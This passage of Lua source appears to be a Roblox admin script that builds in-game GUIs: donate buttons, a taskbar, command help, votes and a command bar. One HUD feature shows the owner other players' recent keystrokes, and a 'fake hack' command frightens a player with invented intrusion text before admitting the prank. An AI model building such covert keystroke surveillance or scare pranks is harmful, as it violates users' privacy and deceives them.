4603 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4604 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4605 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4606
4607 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4608
4609 if Closed then
4610 Closed.Event:connect(function()
4611 Open = false
4612 end)
4613 end
4614 else
4615 CloseForm:Invoke()
4616 end
4617 end) end)()
4618 if RANK:GetRank(Player) == "Owner" then
4619 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4620 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4621 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4622 if HUDSG then
4623 HUDSG:Destroy()
4624 else
4625 GUI:CreateHUD(Player)
4626 end
4627 end)
4628 end
4629 end
4630
4631 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4632 if IsMoving == false then
4633 if TaskBarShown == true then
4634 TaskBarShown = false
4635 IsMoving = true
4636 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4637 else
4638 TaskBarShown = true
4639 IsMoving = true
4640 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4641 end
4642 end
4643 end)
4644
4645 local function ReloadIcons()
4646 for Num,Data in pairs(Tasks) do
4647 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4648 end
4649 end
4650
4651 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4652 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4653 table.insert(Tasks, {Form, Icon})
4654 local CanClick = true
4655 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4656 if Form.IsActive.Value == false then
4657 Restore:Invoke()
4658 elseif CanClick == true then
4659 coroutine.wrap(function()
4660 CanClick = false
4661 local DefPos = Form.Dragger.Position
4662 for i = 1,15 do
4663 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4664 wait(0.05)
4665 end
4666 Form.Dragger.Position = DefPos
4667 CanClick = true
4668 end)()
4669 end
4670 end)
4671 ReloadIcons()
4672
4673 Closed.Event:connect(function()
4674 for Num,Data in pairs(Tasks) do
4675 if Data[1] == Form then
4676 Icon:Destroy()
4677 table.remove(Tasks, Num)
4678 end
4679 end
4680 ReloadIcons()
4681 end)
4682 end)
4683end
4684
4685function GUI:ShowDebtStats(Player, ManualText)
4686 local Text = ManualText
4687 if not ManualText then
4688 Text = "CANNOT GET STATISTICS"
4689 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4690 if RawPage then
4691 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4692 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4693 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4694 end
4695 end
4696
4697 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4698 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4699
4700 return Text
4701end
4702
4703function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4704 if not Player then return nil end
4705 if not CommandTrigger then return nil end
4706
4707 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4708
4709 local CommandKey = CommandTrigger
4710
4711 if not Commands[CommandKey] then
4712 for CommandNames,_ in pairs(Commands) do
4713 for _,CommandName in pairs(CommandNames) do
4714 if CommandName == CommandKey then
4715 CommandKey = CommandNames
4716 end
4717 end
4718 end
4719 end
4720
4721 local CommandData = Commands[CommandKey]
4722
4723 local BodyText = "No valid command has been entered"
4724 local TitleText = "Error"
4725 local CanExe = false
4726 if CommandData then
4727 if Dialog then
4728 Dialog:Invoke(true)
4729 end
4730 local PlayerRank = RANK:GetRank(Player)
4731 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4732 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4733
4734 TitleText = "Command: "..CommandKey[1]
4735 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4736
4737
4738Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4739
4740
4741Description: ]]..CommandData[2]..[[
4742
4743
4744Arguments: ]]..CommandData[3]..[[
4745
4746
4747Minimum rank needed: ]]..CommandData[4]..[[
4748
4749
4750Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4751
4752
4753Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4754
4755
4756Http Command ]]..STRING:BoolString(CommandData.Http)
4757 end
4758
4759 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4760 if Dialog then
4761 Closed.Event:connect(function() Dialog:Invoke(false) end)
4762 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4763 end
4764end
4765
4766function GUI:CreateHUD(Speaker)
4767 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4768
4769 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4770 if SG then SG:Destroy() end
4771 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4772
4773 local function AddHUD(Player, Char)
4774 if not Char or not Char:FindFirstChild("Head") then return nil end
4775
4776 local Rank = RANK:GetRank(Player)
4777 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4778 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4779 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4780 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4781 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4782 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4783 InfoLabel.Text = "Name: "..Player.Name..[[
4784Rank: ]]..RANK:GetRank(Player)..[[
4785Age: ]]..STRING:FindAge(Player.AccountAge)
4786 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4787 InfoLabel.Text = InfoLabel.Text..[[
4788Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4789 end
4790 if LastKeys[Player.UserId] then
4791 local Keys = ""
4792 local KeyLog = {}
4793 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4794 table.insert(KeyLog, KeyData[1])
4795 if KeyData[2] == 8 then
4796 Keys = string.sub(Keys, 1, #Keys - 1)
4797 elseif KeyData[2] == 13 then
4798 Keys = Keys.." "
4799 else
4800 Keys = Keys..string.char(KeyData[2])
4801 end
4802 end
4803 KeyLabel.Text = table.concat(KeyLog, "\n")
4804 KeyOutput.Text = Keys
4805 end
4806 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4807 end end)()
4808
4809 local CharRev,Removing = nil,nil
4810 CharRev = Player.CharacterRemoving:connect(function()
4811 PlayerHUD:Destroy()
4812 CharRev:disconnect()
4813 Removing:disconnect()
4814 end)
4815 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4816 PlayerHUD:Destroy()
4817 CharRev:disconnect()
4818 Removing:disconnect()
4819 end end)
4820 end
4821
4822 local function ConnectHUD(Player)
4823 if Player ~= Speaker then
4824 if Player.Character then
4825 AddHUD(Player, Player.Character)
4826 end
4827
4828 Player.CharacterAdded:connect(function(Char)
4829 if Speaker then
4830 AddHUD(Player, Char)
4831 else return nil
4832 end
4833 end)
4834 end
4835 end
4836
4837 for _,Player in pairs(Server.Players:GetPlayers()) do
4838 ConnectHUD(Player)
4839 end
4840
4841 Server.Players.PlayerAdded:connect(ConnectHUD)
4842end
4843
4844function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4845 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4846 local Stopped = false
4847
4848 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4849 Frame.Size = UDim2.new(1, 0, 1, -30)
4850 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4851
4852 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4853 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4854 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4855
4856 local function AddLine(Speaker, MessageText, MessageColor)
4857 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4858 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4859 if not MessageColor then MessageColor = GUI:ContrastColor() end
4860 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4861 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4862 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4863 Bounds.Parent = Frame
4864 end
4865
4866 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4867
4868 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4869 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4870 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4871
4872 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4873 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4874
4875 CORE:ExecuteResource("MessagePromptHandler", Frame)
4876
4877 wait(0.1)
4878
4879 if PreAdd then
4880 for Num,Add in pairs(PreAdd) do
4881 AddLine(Add[1], Add[2], Add[3])
4882 end
4883 end
4884
4885 --[[
4886 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4887
4888 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4889 if ChatBox.Text == "Click here or press the '-' key" then
4890 ChatBox.Text = ""
4891 end
4892 end)
4893 ]]
4894
4895 local function FireSendPressed()
4896 local Text = CORE:ReadProperty(RPR, Player, "Text")
4897 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4898 SendPressed:Fire(Text)
4899 FakeCB.Visible = true
4900 ClearCB:InvokeClient(Player)
4901 end
4902 end
4903
4904 Closed.Event:connect(function()
4905 if Stopped == false then
4906 Stopped = true
4907 if SpeakerEvents then SpeakerEvents("Leave") end
4908 end
4909 end)
4910
4911 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4912 EnterPressed.OnServerInvoke = FireSendPressed
4913 AddMessage.OnInvoke = AddLine
4914
4915 if SpeakerEvents then
4916 SpeakerEvents("Join")
4917
4918 coroutine.wrap(function()
4919 repeat wait() until not Frame or not Frame.Parent
4920 if Stopped == false then
4921 Stopped = true
4922 SpeakerEvents("Leave")
4923 end
4924 end)()
4925 end
4926
4927 return SendPressed, AddMessage
4928end
4929
4930function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4931 if tonumber(Time) then ShowFormButtons = false end
4932 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4933 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4934 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4935 local Clicked = nil
4936 local Alive = true
4937
4938 local function ClosePrompt(ButtonName)
4939 Alive = false
4940 Close:Invoke()
4941 Clicked = ButtonName
4942 end
4943
4944 for Num,Select in pairs(Buttons) do
4945 local Name = Select
4946 local Style = "White"
4947 local TextColor3 = Color3.new(0,0,0)
4948 if type(Select) == "table" then
4949 Name = Select[1]
4950 if Select[2] then Style = Select[2] end
4951 if Select[3] then TextColor3 = Select[3] end
4952 elseif type(Select) == "string" then
4953 local Case = string.lower(Select)
4954 if Case == "ok" then
4955 Name = "Ok"
4956 Style = "Primary"
4957 TextColor3 = Color3.new(1,1,1)
4958 elseif Case == "yes" then
4959 Name = "Yes"
4960 Style = "Gray"
4961 TextColor3 = Color3.new(0,1,0)
4962 elseif Case == "no" then
4963 Name = "No"
4964 Style = "Red"
4965 TextColor3 = Color3.new(1,0,0)
4966 end
4967 end
4968
4969 if Style == "None" then Style = "Custom" end
4970 if Style == "Casual" then Style = "RobloxButton" end
4971 if Style == "Red" then Style = "RobloxButtonDefault" end
4972 if Style == "Gray" then Style = "RobloxRoundButton" end
4973 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4974 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4975
4976 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4977 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4978 SOUND:BindButton(Button)
4979 end
4980
4981 if tonumber(Time) then
4982 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4983 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4984 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4985
4986 for i = Time,0,-1 do
4987 for ii = 1,10 do
4988 if Alive == true then
4989 Ticker.Text = i
4990 wait(0.1)
4991 else
4992 break
4993 end
4994 end
4995 end
4996 if Alive == true then
4997 ClosePrompt()
4998 end
4999 end
5000
5001 repeat wait() until Alive == false
5002 return Clicked
5003end
5004
5005function GUI:Vote(Speaker, Players, Text, Time)
5006 if not Players or not Text or #Players <= 0 then return end
5007
5008 local Votes = {}
5009 local Tick = 0
5010
5011 for _,Player in pairs(Players) do
5012 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
5013 local CanVote = true
5014 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
5015 if CanVote == true then
5016 coroutine.wrap(function()
5017 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
5018 if Answer == nil then Answer = "Unknown" end
5019 table.insert(Votes, Answer)
5020 end)()
5021 end
5022 end
5023 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
5024 wait(2)
5025 if Speaker and Speaker:FindFirstChild("PlayerGui") then
5026 local Total = #Players
5027 local Yes,No,Unknown = 0,0,0
5028 for _,Vote in pairs(Votes) do
5029 if Vote == "Yes" then Yes = Yes + 1
5030 elseif Vote == "No" then No = No + 1
5031 end
5032 end
5033 Unknown = #Players - #Votes
5034
5035 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
5036 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
5037 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
5038]]..Yes.."/"..Total..[[
5039]]..math.ceil((Yes/Total)*100).."% "
5040 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
5041]]..No.."/"..Total..[[
5042]]..math.ceil((No/Total)*100).."% "
5043 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
5044]]..Unknown.."/"..Total..[[
5045]]..math.ceil((Unknown/Total)*100).."% "
5046 end
5047end
5048
5049--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
5050
5051function GUI:LoadGui(Player, Text, InfoText)
5052 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5053 local Dead = false
5054
5055 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
5056 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
5057 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
5058 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
5059 if InfoText then Info.Text = InfoText end
5060
5061 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
5062 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
5063
5064 CloseGui.OnInvoke = function()
5065 Close:Invoke()
5066 Dead = true
5067 end
5068 AddInfo.OnInvoke = function(AddText)
5069 Info.Text = AddText
5070 end
5071
5072 coroutine.wrap(function()
5073 for i = 0,math.huge,3 do
5074 if Dead == false and Frame then
5075 WaitIcon.Rotation = i
5076 wait()
5077 else
5078 break
5079 end
5080 end
5081 end)()
5082
5083 coroutine.wrap(function()
5084 while Dead == false and Frame do
5085 wait(0.5)
5086 LoadLabel.Text = Text.."."
5087 wait(0.5)
5088 LoadLabel.Text = Text..".."
5089 wait(0.5)
5090 LoadLabel.Text = Text.."..."
5091 wait(0.5)
5092 LoadLabel.Text = Text..".."
5093 wait(0.5)
5094 LoadLabel.Text = Text.."."
5095 wait(0.5)
5096 LoadLabel.Text = Text
5097 end
5098 end)()
5099
5100 wait(1)
5101
5102 return CloseGui, AddInfo
5103end
5104
5105function GUI:FakeHack(Player) coroutine.wrap(function()
5106 if not Player or not Player:FindFirstChild("PlayerGui") then return end
5107 local FakeText = [[
5108>SHELL: BEGIN
5109>RUNCODE:
5110return {
5111 local Hack = {"Account", "Tix", "Robux"};
5112 function Start(Type, Inject, Scan)
5113 if not Inject then Inject = "In-Game" end
5114 return {Type, Inject, Scan}
5115 end
5116 for Exe,Exploit in pairs(Hack) do
5117 local IP = Start("In-Game",Exploit,
5118 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5119 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5120 )
5121 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5122 for i = 1,#Injection[2] do
5123 Log("PlayerData", "ConnectHost", "PLAYERNAME")
5124 end
5125 local PlayerProxy = newproxy(true)
5126 setmetatable(PlayerProxy,Injection[3],{
5127 __index = function(StealData, ...) local Data = unpack(...)
5128 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5129 end;
5130 })
5131 end
5132 Log("HACKED HOST: PLAYERNAME")
5133}
5134>HACKED HOST: PLAYERNAME
5135
5136]]
5137 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5138 if SG then SG:Destroy() end
5139 SG = Instance.new("ScreenGui", Player.PlayerGui)
5140 SG.Name = "MML Hack Gui"
5141 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5142 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5143 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5144 for i = 1,#FakeText do
5145 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5146 if math.random(1,5) == 1 then
5147 wait()
5148 end
5149 end
5150 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5151 wait(3)
5152 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5153fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5154 X.Visible = true
5155end)() end
5156
5157function GUI:CommandBar(Player)
5158 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5159
5160 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5161 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5162 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5163 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5164
5165 local _,Rank = RANK:GetRank(Player)
5166 local UsableCommands = {}
5167 for CommandNames,Data in pairs(Commands) do
5168 if not Data.Hidden then
5169 if RANK:ConvertRank(Data[4]) <= Rank then
5170 for _,Command in pairs(CommandNames) do
5171 table.insert(UsableCommands, {Command, Data[3]})
5172 end
5173 end
5174 end
5175 end
5176
